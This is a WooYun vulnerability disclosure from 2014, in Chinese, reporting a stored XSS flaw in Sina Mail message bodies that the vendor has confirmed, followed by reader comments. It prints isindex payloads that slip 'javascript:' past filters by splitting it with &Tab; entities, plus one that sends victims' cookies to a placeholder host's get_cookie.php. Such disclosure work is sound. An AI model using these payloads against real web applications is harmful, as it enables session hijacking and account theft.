当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-074293

漏洞标题：新浪邮箱邮件正文存储型XSS漏洞

相关厂商：新浪

漏洞作者： Liuz5O69

提交时间：2014-08-29 11:21

修复时间：2014-10-13 11:22

公开时间：2014-10-13 11:22

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-29： 细节已通知厂商并且等待厂商处理中
2014-08-29： 厂商已经确认，细节仅向厂商公开
2014-09-08： 细节向核心白帽子及相关领域专家公开
2014-09-18： 细节向普通白帽子公开
2014-09-28： 细节向实习白帽子公开
2014-10-13： 细节向公众公开

简要描述：

新浪邮箱邮件正文存储型XSS一枚。

详细说明：

注：需要在webkit内核浏览器下触发。以下提交通过自写脚本提交，通过web邮箱的html编辑提交存在问题（126测试不行）
提交：

<isindex prompt="This is a test:   " action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>


poc1.JPG


提交：

<isindex prompt="This is a test:   " action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(document.cookie) type=image>


poc2.JPG


触屏版邮箱：

poc3.JPG

漏洞证明：

cookie窃取，如提交：

<isindex prompt="This is a test:" action="j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:(new Image()).src='http://xxxx/get_cookie.php?cookie_store='+encodeURIComponent(document.cookie)" type=image>


cook.JPG


获取：

cookie.JPG


修复方案：

过滤

版权声明：转载请注明来源 Liuz5O69@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2014-08-29 21:46

厂商回复：

感谢关注新浪安全，漏洞修复中。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-08-29 11:26 | 进击的zjx ( 普通白帽子 | Rank:295 漏洞数:61 | 工作需要，暂别一段时间)

    第一次前排

  2. 2014-08-29 11:43 | diguoji ( 普通白帽子 | Rank:323 漏洞数:79 | 中国吉林长春)

    江山辈有才人出，楼上楼下小心被X

  3. 2014-08-29 11:44 | Non-polar ( 实习白帽子 | Rank:34 漏洞数:16 | 只要还有明天，今天就永远是起跑线)

    前排围观

  4. 2014-08-29 13:03 | 只发通用型 ( 实习白帽子 | Rank:93 漏洞数:14 | 刷通用型奖金小号)

    假如用其他邮箱收信 会被X吗

  5. 2014-09-19 08:14 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 | 总有一天，我会骑着雨牛@'雨。踩着一哥@jan...)

    正在默默，偷偷插139，网易

  6. 2014-09-19 08:18 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 | 总有一天，我会骑着雨牛@'雨。踩着一哥@jan...)

    使用&编码来绕过过滤。思路学习了

  7. 2014-09-29 07:49 | 大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )

    。。。&换行，，，这也行！